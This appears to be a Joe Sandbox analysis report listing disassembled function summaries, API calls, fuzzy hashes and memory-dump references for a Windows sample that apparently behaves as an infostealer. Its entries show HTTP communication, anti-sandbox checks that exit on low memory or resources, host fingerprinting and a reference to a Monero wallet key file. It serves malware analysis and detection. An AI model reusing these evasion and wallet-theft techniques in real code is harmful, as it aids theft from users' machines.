Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 871e56dd5d06db53c693b9cdb1055ebacd1cdee0100909d6f5c2097972a5421e
Instruction ID: 99a27a562cf7d962d8201b428589f20fe9ce1602b79b55104f824987cf9c4c86
Opcode Fuzzy Hash: 871e56dd5d06db53c693b9cdb1055ebacd1cdee0100909d6f5c2097972a5421e
Instruction Fuzzy Hash: A1713C71E00318ABDB24DFA0DC59BEEB778BB48701F108598F50AAB1D4DBB46A85CF51

Function 00925510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0092A820: lstrlen.KERNEL32(00914F05,?,?,00914F05,00930DDE), ref: 0092A82B
Part of subcall function 0092A820: lstrcpy.KERNEL32(00930DDE,00000000), ref: 0092A885

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00925644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 009256A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00925857

Part of subcall function 0092A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0092A7E6

Part of subcall function 009251F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00925228

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

Part of subcall function 009252C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00925318
Part of subcall function 009252C0: lstrlen.KERNEL32(00000000), ref: 0092532F
Part of subcall function 009252C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00925364
Part of subcall function 009252C0: lstrlen.KERNEL32(00000000), ref: 00925383
Part of subcall function 009252C0: lstrlen.KERNEL32(00000000), ref: 009253AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0092578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00925940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00925A0C
Sleep.KERNEL32(0000EA60), ref: 00925A1B

Strings

ERROR, xrefs: 009259FE
ERROR, xrefs: 0092577D
ERROR, xrefs: 00925636
ERROR, xrefs: 00925693
ERROR, xrefs: 00925849
ERROR, xrefs: 00925932

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 00f499ffa02e44a24d9e6a4ec6efeec0ed71596fbf579aeb29e23f3c906bcf93
Instruction ID: 68a9b22095710ad11ab00d269c7d971b0b49afc19c9919ba15954a839c274328
Opcode Fuzzy Hash: 00f499ffa02e44a24d9e6a4ec6efeec0ed71596fbf579aeb29e23f3c906bcf93
Instruction Fuzzy Hash: 9DE11072910218ABCB14FBA0FC56FED733DAF94300F508568F5066719AEF346A49CB96

Function 009217A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 009217C5
ExitProcess.KERNEL32 ref: 009217D1

Strings

block, xrefs: 009217B7

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: e257b7fa2b8794081521078ef03a0df23ee604560df507cfaef85444adae8a02
Instruction ID: 406f5666de3074c059dd73f1acec10997fc42eca3861da86192e26ef061d63c2
Opcode Fuzzy Hash: e257b7fa2b8794081521078ef03a0df23ee604560df507cfaef85444adae8a02
Instruction Fuzzy Hash: C5515EB9A04219EFCB04DFA0E994BBE77B9BF94704F108448E41567344D774E9A1CF62

Function 00927500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00927542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0092757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00927603
RtlAllocateHeap.NTDLL(00000000), ref: 0092760A
wsprintfA.USER32 ref: 00927640

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Strings

:, xrefs: 0092755C
\, xrefs: 00927560
C, xrefs: 0092754C

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 6fe2d564ee1dbcd4fc1db847c4c9e160e561399d84fede53abece6553c5778a8
Instruction ID: b02316957ef1892a5b926a535e718bd6fb64d1c87cd350b7bd84443d3ae7b451
Opcode Fuzzy Hash: 6fe2d564ee1dbcd4fc1db847c4c9e160e561399d84fede53abece6553c5778a8
Instruction Fuzzy Hash: F34181B1D05358ABDB10DF94EC45BEEBBB8EF48704F100199F50977284DB786A44CBA5

Function 009269F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00929860: GetProcAddress.KERNEL32(74DD0000,010431E0), ref: 009298A1
Part of subcall function 00929860: GetProcAddress.KERNEL32(74DD0000,010430F0), ref: 009298BA
Part of subcall function 00929860: GetProcAddress.KERNEL32(74DD0000,01043240), ref: 009298D2
Part of subcall function 00929860: GetProcAddress.KERNEL32(74DD0000,01043180), ref: 009298EA
Part of subcall function 00929860: GetProcAddress.KERNEL32(74DD0000,01043258), ref: 00929903
Part of subcall function 00929860: GetProcAddress.KERNEL32(74DD0000,0104A018), ref: 0092991B
Part of subcall function 00929860: GetProcAddress.KERNEL32(74DD0000,01035970), ref: 00929933
Part of subcall function 00929860: GetProcAddress.KERNEL32(74DD0000,010359F0), ref: 0092994C
Part of subcall function 00929860: GetProcAddress.KERNEL32(74DD0000,010431C8), ref: 00929964
Part of subcall function 00929860: GetProcAddress.KERNEL32(74DD0000,01043288), ref: 0092997C
Part of subcall function 00929860: GetProcAddress.KERNEL32(74DD0000,01042FE8), ref: 00929995
Part of subcall function 00929860: GetProcAddress.KERNEL32(74DD0000,010432A0), ref: 009299AD
Part of subcall function 00929860: GetProcAddress.KERNEL32(74DD0000,01035710), ref: 009299C5
Part of subcall function 00929860: GetProcAddress.KERNEL32(74DD0000,010432B8), ref: 009299DE

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 009111D0: ExitProcess.KERNEL32 ref: 00911211

Part of subcall function 00911160: GetSystemInfo.KERNEL32(?), ref: 0091116A
Part of subcall function 00911160: ExitProcess.KERNEL32 ref: 0091117E

Part of subcall function 00911110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0091112B
Part of subcall function 00911110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00911132
Part of subcall function 00911110: ExitProcess.KERNEL32 ref: 00911143

Part of subcall function 00911220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0091123E
Part of subcall function 00911220: ExitProcess.KERNEL32 ref: 00911294

Part of subcall function 00926770: GetUserDefaultLangID.KERNEL32 ref: 00926774

Part of subcall function 00911190: ExitProcess.KERNEL32 ref: 009111C6

Part of subcall function 00927850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009111B7), ref: 00927880
Part of subcall function 00927850: RtlAllocateHeap.NTDLL(00000000), ref: 00927887
Part of subcall function 00927850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0092789F

Part of subcall function 009278E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00927910
Part of subcall function 009278E0: RtlAllocateHeap.NTDLL(00000000), ref: 00927917
Part of subcall function 009278E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0092792F

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01049F18,?,0093110C,?,00000000,?,00931110,?,00000000,00930AEF), ref: 00926ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00926AE8
CloseHandle.KERNEL32(00000000), ref: 00926AF9
Sleep.KERNEL32(00001770), ref: 00926B04
CloseHandle.KERNEL32(?,00000000,?,01049F18,?,0093110C,?,00000000,?,00931110,?,00000000,00930AEF), ref: 00926B1A
ExitProcess.KERNEL32 ref: 00926B22

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: ed7eb5711966821ab6920f70f72bb8897fa4b50665c648f47918697c4fe74141
Instruction ID: 4978d9055bc26413ef4afb0b049c42c0a5ea1102fdcecde83084502cdc4e5b7a
Opcode Fuzzy Hash: ed7eb5711966821ab6920f70f72bb8897fa4b50665c648f47918697c4fe74141
Instruction Fuzzy Hash: A3312172A04228ABDB04FBF0FC57BEEB778AF94341F104518F212B2199DF745945CAA6

Function 00926AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01049F18,?,0093110C,?,00000000,?,00931110,?,00000000,00930AEF), ref: 00926ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00926AE8
CloseHandle.KERNEL32(00000000), ref: 00926AF9
Sleep.KERNEL32(00001770), ref: 00926B04
CloseHandle.KERNEL32(?,00000000,?,01049F18,?,0093110C,?,00000000,?,00931110,?,00000000,00930AEF), ref: 00926B1A
ExitProcess.KERNEL32 ref: 00926B22

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 3cdafdda46d7230089c70b830bfddeb1f40feb28c7d3f7d7bf24e2e52b70d131
Instruction ID: f213d2ce21cdaa48c3a1686af65c2daa6e60e234a3258933bed02b7d26088f6a
Opcode Fuzzy Hash: 3cdafdda46d7230089c70b830bfddeb1f40feb28c7d3f7d7bf24e2e52b70d131
Instruction Fuzzy Hash: 1EF05E30944329EBE710ABA0EC16BBD7B34EF54702F104A54B502B25C9CFB05940D656

Function 009147B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00914839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00914849

Strings

<, xrefs: 009147C9

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 4d94ea8aba3bd5b32aa681d4d72b0f0819292c6d550b81bd10c2d5b70a527d39
Instruction ID: c096f88b55bec928c044c6a19352ee664351af0adc709922471dbca84c76208d
Opcode Fuzzy Hash: 4d94ea8aba3bd5b32aa681d4d72b0f0819292c6d550b81bd10c2d5b70a527d39
Instruction Fuzzy Hash: AA210EB1D00209ABDF14DFA4E845BDE7B75FF45320F108625F915A7291EB706A05CB91

Function 009251F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0092A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0092A7E6

Part of subcall function 00916280: InternetOpenA.WININET(00930DFE,00000001,00000000,00000000,00000000), ref: 009162E1
Part of subcall function 00916280: StrCmpCA.SHLWAPI(?,01050A00), ref: 00916303
Part of subcall function 00916280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00916335
Part of subcall function 00916280: HttpOpenRequestA.WININET(00000000,GET,?,010500C8,00000000,00000000,00400100,00000000), ref: 00916385
Part of subcall function 00916280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 009163BF
Part of subcall function 00916280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009163D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00925228

Strings

ERROR, xrefs: 00925273
ERROR, xrefs: 0092521A

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 629209f17229214b3c379e80a77601af8535a9236ee0b4780b5d120796ca2063
Instruction ID: 2facb571303a0009cefb9ed47e2a051c374560baba731545e8c7635dcc9c16ff
Opcode Fuzzy Hash: 629209f17229214b3c379e80a77601af8535a9236ee0b4780b5d120796ca2063
Instruction Fuzzy Hash: A8115231900118ABCB14FF70ED52BED737DAF90300F404558F91A5B1A6EF34AB09CA95

Function 00911220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0091123E
ExitProcess.KERNEL32 ref: 00911294

Strings

@, xrefs: 00911233

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: 1bdd3b939e276e66a60d319cec187898b9ce44eb5341fb856b8744c379f54e5f
Instruction ID: 5432d1320e76f09028c22378c4ff5381f47667cde79dd030ef8d2a3626b243ae
Opcode Fuzzy Hash: 1bdd3b939e276e66a60d319cec187898b9ce44eb5341fb856b8744c379f54e5f
Instruction Fuzzy Hash: C6016DB0E4531CBBEF10DBE0DC4ABDEBBB8AB54702F208548E705B62C0DB7455818B99

Function 00911110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0091112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00911132
ExitProcess.KERNEL32 ref: 00911143

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
